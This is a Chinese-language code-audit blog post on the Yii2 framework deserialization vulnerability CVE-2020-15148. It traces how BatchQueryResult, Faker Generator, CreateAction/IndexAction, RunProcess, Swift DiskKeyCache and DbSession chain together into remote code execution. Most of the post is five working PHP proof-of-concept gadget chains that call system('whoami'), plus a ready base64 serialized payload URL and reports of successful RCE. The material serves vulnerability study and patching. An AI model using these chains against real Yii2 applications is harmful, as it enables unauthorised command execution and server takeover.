前言 漏洞存在版本<2.0.38
CVE-2020-15148
框架搭建 【代码审计|[代码审计]yii2 反序列化漏洞分析】直接去github下载,修改好cookie的key,然后就可以访问/web了
文章图片
文章图片
漏洞分析 先看github里作者的提交
文章图片
可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法
我们就直奔这里去看了
yii2.0.37/vendor/yiisoft/yii2/db/BatchQueryResult.php
看到这里的__distruct()入口方法
文章图片
会进去reset方法,但是进去可能就close了,但是这个_dataReader是可以控制的,到时候我们构造poc的时候可以添加析构方法为他赋值!这里
$this->_dataReader
就可以触发一个__call方法全局搜一下__call方法,发现这个类里面有妙处
/vendor/fzaninotto/faker/src/Faker/Generator.php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formtters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
} /**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
可以发现,__call进去,就直接进format了,而format里面就会直接执行call_user_func_array,跟进一下他的参数
先跟进一下getFormatter,发现这里返回的是formatters,这个参数是我们可控的!
文章图片
但是另一个
$attributes
就不可控了,这里是可以执行一些无参数的函数,但是如果只是调用php原生的那肯定做不了什么事情,我们需要调用yii框架里面自带的无参数方法看看有没有能进一步利用的继续全局搜索,看看有没有那个无参数方法里面调用了
call_user_func
这里是用的正则去搜索,这个正则折腾了好久
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
大概意思就是 function 开头,接着是一段字符接上()后换行,并只匹配0或1次,这里就表示无参数的函数了,但是我们可以更狠一点,直接搜索无参数方法中有
call_user_func
的,那么就继续加上* \{
匹配前面的表达式0次或多次后加上大括号,然后在call_user_func
前面多次匹配上一堆除了换行之外的字符后加上换行:(.*\n)+ *
,最后加上call_user_func
这样就很精准的匹配到无参数方法中有
call_user_func
函数的方法了这里找到了一个,简直不要太好打
/vendor/yiisoft/yii2/rest/CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}此处省略 }
checkAccess和id都是我们可控的!那么这条链子就打通了,我们构造一下poc
POC1
checkAccess = 'system';
$this->id = 'whoami';
}
}
}namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["close"] = [new CreateAction, 'run'];
}
}
}namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
payload:
web?r=test/test&data=https://www.it610.com/article/TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
成功rce
文章图片
这条链子的总的攻击思路为
1. BatchQueryResult里面__destruct入口函数调用了reset()函数
2. reset()函数内:$this->_dataReader->close();
其中_dataReader可控
3. 触发__call方法,找到可利用的call方法:Generator,但是只能执行无参数函数
4. 寻找框架内的可利用的无参数函数,Generator的run
这条链子最后一个寻找无参数可利用函数的时候,还有一个可以利用
POC2
vendor/yiisoft/yii2/rest/IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}return $this->prepareDataProvider();
}
poc
checkAccess = 'system';
$this->id = 'whoami';
}
}
}namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["close"] = [new IndexAction, 'run'];
}
}
}namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
POC3 作者在2.0.38只修复了BatchQueryResult,那么我们能不能再找一个__destruct入口函数去调用call方法,接上后面的链子呢?
全局搜索__destruct下,找到这个类也可以
/vendor/codeception/codeception/ext/RunProcess.php
public function __destruct()
{
$this->stopProcess();
}public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process**/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
可以发现,这里调用了
$process->isRunning()
,而且这里的process是可控的!那么我们接上上面的链子就可以继续打checkAccess = 'system';
$this->id = 'whoami';
}
}
}namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["isRunning"] = [new IndexAction, 'run'];
}
}
}namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct(){
$this->processes[] = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}
?>
POC4 不得不说,师傅们太强了,这里还找到了一个链子
在这个文件里面
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
可以发现,这里进了clearAll后,里面会有一个字符串拼接的操作,而path是我们可控的,那么我们就可以执行__toString方法了,找一下能利用的__toString方法
这里找到了一个这个Cover.php
/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Covers.php
很明显这里可以调用call方法,直接接上去就可以了
文章图片
poc
checkAccess = 'system';
$this->id = 'whoami';
}
}
}namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["render"] = [new IndexAction, 'run'];
}
}
}namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Cover{
public function __construct(){
$this->description=new Generator;
}
}
}namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Cover;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct(){
$this->keys=array('aaa'=>'bbb');
$this->path=new Cover();
}}echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache));
}?>
成功rce
文章图片
这些也是可以的,很多很多
文章图片
文章图片
文章图片
文章图片
POC5 除了刚刚的__call方法,其实还有一个思路,就是直接去找能利用的close()方法
在这个文件里面找到能利用的点
/vendor/yiisoft/yii2/web/DbSession.php
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
跟进composeFields方法
protected function composeFields($id = null, $data = https://www.it610.com/article/null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
可以看到这里是有一个call_user_func函数的,而且writeCallback是可控的,那么就可以接上IndexAction的run
poc
checkAccess = 'system';
$this->id = 'whoami';
}
}
}namespace yii\web{use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace yii\db{use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}namespace{use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
文章图片
总结
poc1: BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> IndexAction.run()poc2:BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc3: RunProcess.__destruct() -> RunProcess.stopProcess() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc4: Swift_KeyCache_DiskKeyCache.__destruct() -> Swift_KeyCache_DiskKeyCache.clearAll() -> Cover.__toString() -> Cover.render() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc5: BatchQueryResult.__destruct() -> DbSession.close() -> DbSession.composeFields() -> IndexAction.run
大概就分析了这些链,感觉上来说还是不算很难,也是学到了一些代码审计的知识和技巧,那么多条链子,每次成功rce的时候还是很有成就感的
参考链接:
- https://ego00.blog.csdn.net/article/details/113824239
- https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA
推荐阅读
- 代码审计|[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析
- 进阶PHP月薪30k|PHP+Mysql如何实现数据库增删改查
- 网络安全|HW护网即将开始4.6
- 网络|2022 年顶级网络安全专家最爱用的10大工具
- 操作系统|Linux常用命令_(磁盘管理)
- web安全|网络安全知识之防范恶意代码
- 安全|安全防护基本知识
- 信息安全|记一次失败的CTF竞赛速成经历 | 最近我在干什么 | 记5倍忙碌的一周
- 银行木马再次入侵谷歌应用商店、英伟达员工凭证在网络攻击中被盗|3月2日全球网络安全热点